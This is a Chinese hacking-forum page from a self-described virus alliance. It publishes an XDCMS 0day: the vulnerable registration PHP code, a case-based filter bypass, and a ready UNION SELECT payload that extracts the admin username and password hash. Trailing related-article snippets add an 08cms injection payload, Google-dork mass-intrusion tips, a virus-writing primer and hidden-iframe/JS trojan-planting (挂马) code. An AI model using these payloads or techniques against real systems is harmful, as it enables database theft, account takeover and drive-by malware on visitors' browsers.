最新xdcms企业管理系统0day漏洞-中国寒龙病毒联盟

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致多处SQL注入

注入在XDCMS企业管理系统的注册功能处,来看看\system\modules\member\index.php文件:

注册时会调用register_save,问题就出在index.php的register_save函数处:

publicfunction register_save(){

$username=safe_html($_POST[‘username‘]);//获取UserName,这里用safe_html函数进行过滤

$password=$_POST[‘password‘];

$password2=$_POST[‘password2‘];

$fields=$_POST[‘fields‘];if(empty($username)||empty($password2)||empty($password)){

showmsg(C(‘material_not_complete‘),‘-1‘);}if(!strlength($username,5)){

showmsg(C(‘username‘).C(‘str_len_error‘).‘5‘,‘-1‘);}if(!strlength($password,5)){

showmsg(C(‘password‘).C(‘str_len_error‘).‘5‘,‘-1‘);}if($password!=$password2){

showmsg(C(‘password_different‘),‘-1‘);}

$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`=‘$username‘");//判断会员是否存在,这里的UserName可被绕过过滤,导致注入,这是第一处SQL注入 if($user_num>0){

showmsg(C(‘member_exist‘),‘-1‘);}

$ip=safe_replace(safe_html(getip()));

$this->mysql->db_insert(‘member‘,"`username`=‘".$username."‘,`password`=‘".$password."‘,`creat_time`=‘".datetime()."‘,`last_ip`=‘".$ip."‘,`is_lock`=‘0‘,`logins`=‘0‘,`groupid`=‘1‘");//插入主要字段——用户名、密码,这里的UserName同意造成注入,第二处sql注入

$last_id=$this->mysql->insert_id();//插入附属字段

$field_sql=‘‘;foreach($fields as $k=>$v){

$f_value=$v;if(is_array($v)){

$f_value=implode(‘,‘,$v);}

$field_sql.=",`{$k}`=‘{$f_value}‘";//这里没有过滤,直接进入了下面的update sql语句,导致第三处sql注入 }

$field_sql=substr($field_sql,1);

$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";

$query=$this->mysql->query($field_sql);

showmsg(C(‘register_success‘),‘index.php?m=member&f=register‘);}

第一处sql注入,注册一个用户,然后抓包:

最后看看结果,成功拿到了管理的用户名密码:

在safe_html处虽然过了个SQL注入的敏感词,还过滤了=和*,但是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么我们用大写绕过,这里过滤的=和*,我们可以使用不带*和=的常规保存SQL注入语句,EXP如下:

在UserName处输入:

‘ UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM
(SELECT
count(1),concat(round(rand(0)),(SELECT concat(username,0×23,password)
FROM
c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#

时间: 2024-10-29 19:12:24

最新xdcms企业管理系统0day漏洞-中国寒龙病毒联盟的相关文章

编程类:计算机病毒的编写思考 原创:中国寒龙病毒联盟官网

如果你想好好的学习这门艺术 那么我将带您走进这未来的世界里来 ...今天刚刚开通了  博客 那么心情也是灰常不错的!好了 废话不多说  这里要讲到的是 常见的 感染类型的计算机病毒...呵呵只是空谈 如果大家有编程基础可以自己写的!计算机感染 可以通过 各种处理办法来达到目的 现在网上开源的源码也有许多  那么咱们就  如何编写计算机病毒一题开始讨论!如果编写呢?那么咱们将的 是批处理!因为批处理有很多好处 现在 咱们学到了 很多编程里运用的批处理方法 包括vb  vc vc++  E 以及 C

TYPO3 JobControl SQL注入及跨站脚本漏洞 -中国寒龙

受影响系统:TYPO3 JobControl描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70145CVE(CAN) ID: CVE-2014-5324 Typo3是开源内容管理系统(CMS)和内容管理框架(CMF). TYPO3 JobControl 2.14.0版本及之前版本在实现上存在SQL注入及跨站脚本漏洞,攻击者可利用此漏洞窃取cookie身份

Cisco IOS及IOS XE Software DHCPv6拒绝服务漏洞 -中国寒龙出品

受影响系统:Cisco IOS 15.xCisco IOS XE 3.x描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70140CVE(CAN) ID: CVE-2014-3359 Cisco IOS是多数思科系统路由器和网络交换机上使用的互联网络操作系统. Cisco IOS 15.0, 15.1, 15.2, 15.4.IOS XE 3.3.xSE,

Cisco IOS拒绝服务漏洞 -中国寒龙出品

受影响系统:Cisco IOS 15.x描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70129CVE(CAN) ID: CVE-2014-3361 Cisco IOS是多数思科系统路由器和网络交换机上使用的互联网络操作系统. Cisco IOS 15.0, 15.1, 15.2, 15.4没有正确通过NAT实现SIP,在实现上存在远程拒绝服务漏洞,攻击

Juniper JunosE拒绝服务漏洞 -中国寒龙

受影响系统:Juniper Networks JUNOSe描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70369CVE(CAN) ID: CVE-2014-6380 JunosE是用在Juniper E系列路由器内的操作系统. Juniper JunosE处理构造的碎片数据包时存在拒绝服务漏洞,可导致FPC重置或断网. <*来源:vendor*> 建

Cisco IOS及IOS XE Software多个DNS拒绝服务漏洞 -中国寒龙

受影响系统:Cisco IOS 15.xCisco IOS XE 3.x描述:--------------------------------------------------------------------------------BUGTRAQ ID: 70132CVE(CAN) ID: CVE-2014-3357 Cisco IOS是多数思科系统路由器和网络交换机上使用的互联网络操作系统. Cisco IOS 15.0, 15.1, 15.2, 15.4.IOS XE 3.3.xSE,

08cms家园系统源码注入漏洞 -中国寒龙出品

# Title :08cms家园系统注入漏洞# Team :08 Security Team# Author :08安全团队# 首发 : 08安全团队#######################################这个漏洞在5月份已经审计出来了,现在将漏洞放出来.注册一个账号 会员资料->基本资料 查看表单得到自己的 MID在真实姓名 填写 \头像填写 1 ,company=(SELECT CONCAT(mname,0x7c,PASSWORD) FROM cms_members l

利用谷歌实现批量入侵的方法 -中国寒龙

route print 查看本机设置网络 intext:这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似. intitle: 和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似. ca

网页挂马大全集 -中国寒龙出品 转载写明出处www.hackerschina.org

一:框架挂马<iframe src=地址 width=0 height=0></iframe>二:js文件挂马首先将以下代码document.write("<iframe width='0' height='0' src='地址'></iframe>");保存为xxx.js,则JS挂马代码为<script language=javascript src=xxx.js></script>三:js变形加密<SCR